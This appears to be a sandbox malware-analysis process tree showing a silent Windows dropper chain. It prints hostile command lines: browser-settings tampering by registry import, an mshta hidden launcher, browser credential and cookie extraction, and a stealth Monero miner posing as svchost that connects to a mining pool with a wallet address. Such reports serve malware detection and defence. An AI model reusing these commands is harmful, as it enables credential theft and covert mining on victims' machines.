C:\Users\Admin\AppData\Local\Temp\jla4h1rjwyo\Setup3310.exe"C:\Users\Admin\AppData\Local\Temp\jla4h1rjwyo\Setup3310.exe" /Verysilent /subid=5778⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:3056 -
C:\Users\Admin\AppData\Local\Temp\is-6T9O8.tmp\Setup3310.tmp"C:\Users\Admin\AppData\Local\Temp\is-6T9O8.tmp\Setup3310.tmp" /SL5="$201F4,802346,56832,C:\Users\Admin\AppData\Local\Temp\jla4h1rjwyo\Setup3310.exe" /Verysilent /subid=5779⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
PID:4408 -
C:\Users\Admin\AppData\Local\Temp\is-K69CA.tmp\Setup.exe"C:\Users\Admin\AppData\Local\Temp\is-K69CA.tmp\Setup.exe" /Verysilent10⤵PID:5584
-
C:\Users\Admin\AppData\Local\Temp\is-G4HPK.tmp\Setup.tmp"C:\Users\Admin\AppData\Local\Temp\is-G4HPK.tmp\Setup.tmp" /SL5="$50118,802346,56832,C:\Users\Admin\AppData\Local\Temp\is-K69CA.tmp\Setup.exe" /Verysilent11⤵PID:5640
-
C:\Users\Admin\AppData\Local\Temp\is-58FF4.tmp\ProPlugin.exe"C:\Users\Admin\AppData\Local\Temp\is-58FF4.tmp\ProPlugin.exe" /Verysilent12⤵PID:6128
-
C:\Users\Admin\AppData\Local\Temp\is-84636.tmp\ProPlugin.tmp"C:\Users\Admin\AppData\Local\Temp\is-84636.tmp\ProPlugin.tmp" /SL5="$20416,138429,56832,C:\Users\Admin\AppData\Local\Temp\is-58FF4.tmp\ProPlugin.exe" /Verysilent13⤵PID:5796
-
C:\Users\Admin\AppData\Local\Temp\is-P3AFL.tmp\Setup.exe"C:\Users\Admin\AppData\Local\Temp\is-P3AFL.tmp\Setup.exe"14⤵PID:5404
-
C:\Users\Admin\AppData\Local\Temp\RarSFX1\main.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX1\main.exe"15⤵PID:4112
-
C:\Windows\SYSTEM32\TASKKILL.exeTASKKILL /F /IM chrome.exe16⤵
- Kills process with taskkill
PID:6164
-
-
C:\Windows\regedit.exeregedit /s chrome.reg16⤵
- Runs .reg file with regedit
PID:6172
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c chrome64.bat16⤵PID:6352
-
C:\Windows\system32\mshta.exemshta vbscript:createobject("wscript.shell").run("chrome64.bat h",0)(window.close)17⤵PID:6492
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\RarSFX1\chrome64.bat" h"18⤵PID:6784
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:/Program Files/Google/Chrome/Application/chrome.exe"19⤵PID:6920
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=86.0.4240.111 --initial-client-data=0xd4,0xd8,0xdc,0xb0,0xe0,0x7ff8e4956e00,0x7ff8e4956e10,0x7ff8e4956e2020⤵PID:6960
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --field-trial-handle=1508,6661830781443654060,3002089255255049049,131072 --gpu-preferences=MAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAQAAAAAAAAAAAAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAA= --mojo-platform-channel-handle=1520 /prefetch:220⤵PID:4504
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1508,6661830781443654060,3002089255255049049,131072 --lang=en-US --service-sandbox-type=network --mojo-platform-channel-handle=1904 /prefetch:820⤵PID:5012
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1508,6661830781443654060,3002089255255049049,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2204 /prefetch:820⤵PID:6332
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1508,6661830781443654060,3002089255255049049,131072 --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2944 /prefetch:120⤵PID:3688
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1508,6661830781443654060,3002089255255049049,131072 --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2816 /prefetch:120⤵PID:4376
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1508,6661830781443654060,3002089255255049049,131072 --disable-gpu-compositing --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3552 /prefetch:120⤵PID:6116
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1508,6661830781443654060,3002089255255049049,131072 --disable-gpu-compositing --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3768 /prefetch:120⤵PID:5236
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1508,6661830781443654060,3002089255255049049,131072 --disable-gpu-compositing --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3408 /prefetch:120⤵PID:5740
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1508,6661830781443654060,3002089255255049049,131072 --disable-gpu-compositing --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3776 /prefetch:120⤵PID:2068
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1508,6661830781443654060,3002089255255049049,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4384 /prefetch:820⤵PID:4568
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1508,6661830781443654060,3002089255255049049,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4380 /prefetch:820⤵PID:5636
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1508,6661830781443654060,3002089255255049049,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4632 /prefetch:820⤵PID:4808
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1508,6661830781443654060,3002089255255049049,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4696 /prefetch:820⤵PID:6492
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1508,6661830781443654060,3002089255255049049,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4836 /prefetch:820⤵PID:6460
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1508,6661830781443654060,3002089255255049049,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4256 /prefetch:820⤵PID:5220
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1508,6661830781443654060,3002089255255049049,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3628 /prefetch:820⤵PID:6324
-
-
C:\Program Files\Google\Chrome\Application\86.0.4240.111\Installer\chrmstp.exe"C:\Program Files\Google\Chrome\Application\86.0.4240.111\Installer\chrmstp.exe" --configure-user-settings --verbose-logging --system-level --force-configure-user-settings20⤵PID:6452
-
C:\Program Files\Google\Chrome\Application\86.0.4240.111\Installer\chrmstp.exe"C:\Program Files\Google\Chrome\Application\86.0.4240.111\Installer\chrmstp.exe" --type=crashpad-handler /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Windows\TEMP\Crashpad --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=86.0.4240.111 --initial-client-data=0x23c,0x240,0x244,0x218,0x248,0x7ff6ccfa7740,0x7ff6ccfa7750,0x7ff6ccfa776021⤵PID:6664
-
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1508,6661830781443654060,3002089255255049049,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3672 /prefetch:820⤵PID:6672
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1508,6661830781443654060,3002089255255049049,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5228 /prefetch:820⤵PID:4728
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1508,6661830781443654060,3002089255255049049,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4364 /prefetch:820⤵PID:6524
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1508,6661830781443654060,3002089255255049049,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4308 /prefetch:820⤵PID:5564
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1508,6661830781443654060,3002089255255049049,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4940 /prefetch:820⤵PID:7016
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1508,6661830781443654060,3002089255255049049,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3604 /prefetch:820⤵PID:5872
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1508,6661830781443654060,3002089255255049049,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4364 /prefetch:820⤵PID:4232
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1508,6661830781443654060,3002089255255049049,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4916 /prefetch:820⤵PID:3768
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1508,6661830781443654060,3002089255255049049,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2112 /prefetch:820⤵PID:5128
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1508,6661830781443654060,3002089255255049049,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2116 /prefetch:820⤵PID:4996
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1508,6661830781443654060,3002089255255049049,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4512 /prefetch:820⤵PID:2136
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1508,6661830781443654060,3002089255255049049,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3732 /prefetch:820⤵PID:5628
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1508,6661830781443654060,3002089255255049049,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4292 /prefetch:820⤵PID:5788
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1508,6661830781443654060,3002089255255049049,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3980 /prefetch:820⤵PID:6048
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1508,6661830781443654060,3002089255255049049,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2140 /prefetch:820⤵PID:2172
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1508,6661830781443654060,3002089255255049049,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5032 /prefetch:820⤵PID:6816
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1508,6661830781443654060,3002089255255049049,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4160 /prefetch:820⤵PID:6652
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1508,6661830781443654060,3002089255255049049,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3564 /prefetch:820⤵PID:6320
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1508,6661830781443654060,3002089255255049049,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4224 /prefetch:820⤵PID:5192
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1508,6661830781443654060,3002089255255049049,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=924 /prefetch:820⤵PID:5964
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1508,6661830781443654060,3002089255255049049,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2032 /prefetch:820⤵PID:3780
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1508,6661830781443654060,3002089255255049049,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4404 /prefetch:820⤵PID:6840
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1508,6661830781443654060,3002089255255049049,131072 --disable-gpu-compositing --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=39 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5072 /prefetch:120⤵PID:4568
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1508,6661830781443654060,3002089255255049049,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5324 /prefetch:820⤵PID:6404
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1508,6661830781443654060,3002089255255049049,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4944 /prefetch:820⤵PID:4728
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1508,6661830781443654060,3002089255255049049,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4396 /prefetch:820⤵PID:5424
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1508,6661830781443654060,3002089255255049049,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5156 /prefetch:820⤵PID:5416
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1508,6661830781443654060,3002089255255049049,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4316 /prefetch:820⤵PID:5880
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1508,6661830781443654060,3002089255255049049,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5268 /prefetch:820⤵PID:6828
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1508,6661830781443654060,3002089255255049049,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4788 /prefetch:820⤵PID:6788
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1508,6661830781443654060,3002089255255049049,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5684 /prefetch:820⤵PID:6636
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1508,6661830781443654060,3002089255255049049,131072 --disable-gpu-compositing --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=48 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5544 /prefetch:120⤵PID:6416
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1508,6661830781443654060,3002089255255049049,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5940 /prefetch:820⤵PID:5080
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1508,6661830781443654060,3002089255255049049,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4192 /prefetch:820⤵PID:4012
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1508,6661830781443654060,3002089255255049049,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6072 /prefetch:820⤵PID:5968
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1508,6661830781443654060,3002089255255049049,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4336 /prefetch:820⤵PID:7132
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1508,6661830781443654060,3002089255255049049,131072 --disable-gpu-compositing --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=53 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3964 /prefetch:120⤵PID:5788
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1508,6661830781443654060,3002089255255049049,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4296 /prefetch:820⤵PID:5184
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1508,6661830781443654060,3002089255255049049,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4572 /prefetch:820⤵PID:5236
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1508,6661830781443654060,3002089255255049049,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5704 /prefetch:820⤵PID:6396
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --field-trial-handle=1508,6661830781443654060,3002089255255049049,131072 --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.15063.0 --gpu-preferences=MAAAAAAAAADoAAAwAAAAAAAAAAAAAAAAAABgAAAIAAAQAAAAAAAAAAAAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAA= --mojo-platform-channel-handle=4544 /prefetch:220⤵PID:6436
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1508,6661830781443654060,3002089255255049049,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5328 /prefetch:820⤵PID:6008
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1508,6661830781443654060,3002089255255049049,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4900 /prefetch:820⤵PID:6672
-
-
-
-
-
-
C:\Windows\regedit.exeregedit /s chrome-set.reg16⤵
- Runs .reg file with regedit
PID:7036
-
-
C:\Users\Admin\AppData\Local\Temp\RarSFX1\parse.exeparse.exe -f json -b firefox16⤵PID:7032
-
-
C:\Users\Admin\AppData\Local\Temp\RarSFX1\parse.exeparse.exe -f json -b chrome16⤵PID:3660
-
-
C:\Users\Admin\AppData\Local\Temp\RarSFX1\parse.exeparse.exe -f json -b edge16⤵PID:7048
-
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\is-58FF4.tmp\DataFinder.exe"C:\Users\Admin\AppData\Local\Temp\is-58FF4.tmp\DataFinder.exe" /Verysilent12⤵PID:4508
-
C:\Users\Admin\Services.exe"C:\Users\Admin\Services.exe"13⤵PID:6304
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -B --coin=monero --asm=auto --cpu-memory-pool=-1 --randomx-mode=auto --randomx-no-rdmsr --cuda-bfactor-hint=12 --cuda-bsleep-hint=100 --url=xmr-us-east1.nanopool.org:14433 --user=42Lm2CeGer8hubckgimBBXhKWRnZqtLx74Ye2HcyMyikARReDxWRn15Bia1k8qgnboPNxEZJHN5HgX8eNa1EP7xeA3X8Z7s --pass= --cpu-max-threads-hint=50 --donate-level=5 --unam-idle-wait=5 --unam-idle-cpu=0 --nicehash --tls --unam-stealth14⤵PID:4356
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\is-58FF4.tmp\Delta.exe"C:\Users\Admin\AppData\Local\Temp\is-58FF4.tmp\Delta.exe" /Verysilent12⤵PID:3764
-
C:\Users\Admin\AppData\Local\Temp\is-VO981.tmp\Delta.tmp"C:\Users\Admin\AppData\Local\Temp\is-VO981.tmp\Delta.tmp" /SL5="$60434,898740,56832,C:\Users\Admin\AppData\Local\Temp\is-58FF4.tmp\Delta.exe" /Verysilent13⤵PID:6172
-
C:\Users\Admin\AppData\Local\Temp\is-51D1R.tmp\Setup.exe"C:\Users\Admin\AppData\Local\Temp\is-51D1R.tmp\Setup.exe" /VERYSILENT14⤵PID:6604
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /im Setup.exe /f & erase C:\Users\Admin\AppData\Local\Temp\is-51D1R.tmp\Setup.exe & exit15⤵PID:2828
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im Setup.exe /f16⤵
- Kills process with taskkill
PID:2764
-
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\is-58FF4.tmp\zznote.exe"C:\Users\Admin\AppData\Local\Temp\is-58FF4.tmp\zznote.exe" /Verysilent12⤵PID:3640
-
C:\Users\Admin\AppData\Local\Temp\is-CTFSB.tmp\zznote.tmp"C:\Users\Admin\AppData\Local\Temp\is-CTFSB.tmp\zznote.tmp" /SL5="$602AA,138429,56832,C:\Users\Admin\AppData\Local\Temp\is-58FF4.tmp\zznote.exe" /Verysilent13⤵PID:4048
-
C:\Users\Admin\AppData\Local\Temp\is-9CPJO.tmp\jg4_4jaa.exe"C:\Users\Admin\AppData\Local\Temp\is-9CPJO.tmp\jg4_4jaa.exe" /silent14⤵PID:5380
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\is-58FF4.tmp\hjjgaa.exe"C:\Users\Admin\AppData\Local\Temp\is-58FF4.tmp\hjjgaa.exe" /Verysilent12⤵PID:4016
-
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exeC:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt13⤵PID:6484
-
-
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exeC:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt13⤵PID:5248
-
-
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\zemz1qe11nj\setup_10.2_us3.exe"C:\Users\Admin\AppData\Local\Temp\zemz1qe11nj\setup_10.2_us3.exe" /silent8⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:4308 -
C:\Users\Admin\AppData\Local\Temp\is-M3HS2.tmp\setup_10.2_us3.tmp"C:\Users\Admin\AppData\Local\Temp\is-M3HS2.tmp\setup_10.2_us3.tmp" /SL5="$201EA,746887,121344,C:\Users\Admin\AppData\Local\Temp\zemz1qe11nj\setup_10.2_us3.exe" /silent9⤵
